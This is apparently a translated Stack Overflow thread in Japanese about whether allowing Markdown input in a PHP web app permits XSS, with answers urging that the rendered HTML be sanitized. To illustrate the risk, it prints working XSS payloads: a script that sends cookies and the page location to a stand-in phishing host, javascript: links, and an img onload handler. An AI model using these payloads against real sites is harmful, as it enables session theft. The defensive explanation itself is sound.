12

私は、ユーザーがカタログ内のアイテムの簡単な説明を入力できるWebアプリケーションに取り組んでいます。テキストエリアでMarkdownを許可しているので、ユーザーはHTML形式を使用できます。

私のテキストサニタイズ機能は、データベースに挿入する前に、入力されたテキストからすべてのタグを取り除きます。

public function sanitizeText($string, $allowedTags = "") {
    $string = strip_tags($string, $allowedTags);

    if(get_magic_quotes_gpc()) {
        return mysql_real_escape_string(stripslashes($string));
    } else {
        return mysql_real_escape_string($string);
    }
}

基本的に、データベースに保存しているのはMarkdownだけです。他のHTMLは使用できず、「基本的なHTML」(ここではSOのように)も許可されていません。

マークダウンを許可すると、セキュリティ上の脅威が発生しますか?タグがない場合でも、マークダウンをXSSすることはできますか?

4

7 に答える 7

10

入力からHTMLタグを取り除くことで、かなり安全なものが得られると思います-誰かが本当にめちゃくちゃなデータをMarkdownに挿入し、さらにめちゃくちゃな出力を生成する方法を見つけた場合を除いて^^

それでも、次の 2 つのことが頭に浮かびます。

最初のもの: strip_tags奇跡的な機能ではありません: いくつかの欠陥があります...
たとえば、次のような状況では、「<」の後のすべてが削除されます:

$str = "10 appels is <than 12 apples";
var_dump(strip_tags($str));

私が得る出力は次のとおりです。

string '10 appels is ' (length=13)

これは、ユーザーにとってそれほど良いことではありません:-(


2 つ目:いつの日か、いくつかの HTML タグ/属性を許可したい場合があります。または、今日でも、Markdown が HTML タグ/属性を生成しないことを確認したい場合があります。

HTMLPurifierのようなものに興味があるかもしれません: どのタグと属性を保持するかを指定し、文字列をフィルタリングして、それらだけが残るようにすることができます。

また、有効な HTML コードも生成します -- これは常に素晴らしいことです;-)

于 2009-08-04T10:49:38.310 に答える
7

以下は、HTML を前ではなく後でサニタイズする必要がある理由の素敵な例です。

マークダウン コード:

>  <script type="text/javascript"
>  language="js">i=new Image\(\); i.src='http://phishingwebsite.example.com/?l='
> + escape\(window.location\) + '&c=' + escape\(document.cookie\);
> </script>
>

次のようにレンダリング:

<blockquote> 
<p><script type="text/javascript"
 language="js">i=new Image(); i.src='http://phishingwebsite.example.com/?l='
+ escape(window.location) + '&amp;c=' + escape(document.cookie);
</script></p> 
</blockquote> 

今、あなたは心配していますか?

于 2011-07-25T23:19:36.560 に答える
5

Markdown をレンダリングした後に結果の HTML をサニタイズするのが最も安全です。そうしないと、次のように Markdown で任意の Javascript を実行できると思います。

[Click me](javascript:alert\('Gotcha!'\);)

PHP Markdown はこれを次のように変換します。

<p><a href="javascript:alert&#40;'Gotcha!'&#41;;">Click me</a></p>

どちらが仕事をしますか。...そして、これらのケースを処理するためにコードを追加し始めることさえ考えないでください。適切なサニタイズは簡単ではありません。Markdown を HTML にレンダリングした後で、適切なツールを使用して適用するだけです。

于 2009-08-04T14:59:14.030 に答える
2

マークダウンを許可すると、セキュリティ上の脅威が生じますか? タグがなくても、マークダウンを XSS できますか?

その点に関して絶対的な声明を出すことはほとんど不可能です - マークダウンパーサーが十分に不正な形式の入力でだまされる可能性があることを誰が言うことができますか?

ただし、比較的単純な構文であるため、リスクはおそらく非常に低くなります。最も明白な攻撃の角度は、リンクまたは画像内の javascript: URLs です。パーサーによって許可されていない可能性がありますが、これは私が確認したいものです。

于 2009-08-04T09:14:57.080 に答える
2

いいえ。Markdown の使用方法は安全ではありません。Markdown は安全に使用できますが、正しく使用する必要があります。Markdown を安全に使用する方法の詳細については、こちらを参照してください。安全に使用する方法の詳細についてはリンクを参照してください。ただし、短いバージョンでは、最新のバージョンを使用して、 を設定しsafe_mode、を設定することが重要enable_attributes=Falseです。

このリンクは、入力をエスケープしてから Markdown を呼び出す (あなたが行っているように) だけでは安全ではない理由も説明しています。短い例: " [clickme](javascript:alert%28%22xss%22%29)"。

于 2012-05-06T21:45:15.657 に答える
0

HTML サニタイゼーションの方が優れたアプローチであるという Pascal MARTIN の意見に同意します。JavaScript で完全に実行したい場合は、google-caja のサニタイズ ライブラリ(ソース コード) を参照することをお勧めします。

于 2010-12-03T04:10:19.137 に答える
0

BBcode はタグを生成しているため、より安全です。

<img src="" onload="javascript:alert(\'haha\');"/>

<img> が許可されている場合、これは strip_tags を直接通過します ;) Bam !

于 2009-08-04T09:48:07.280 に答える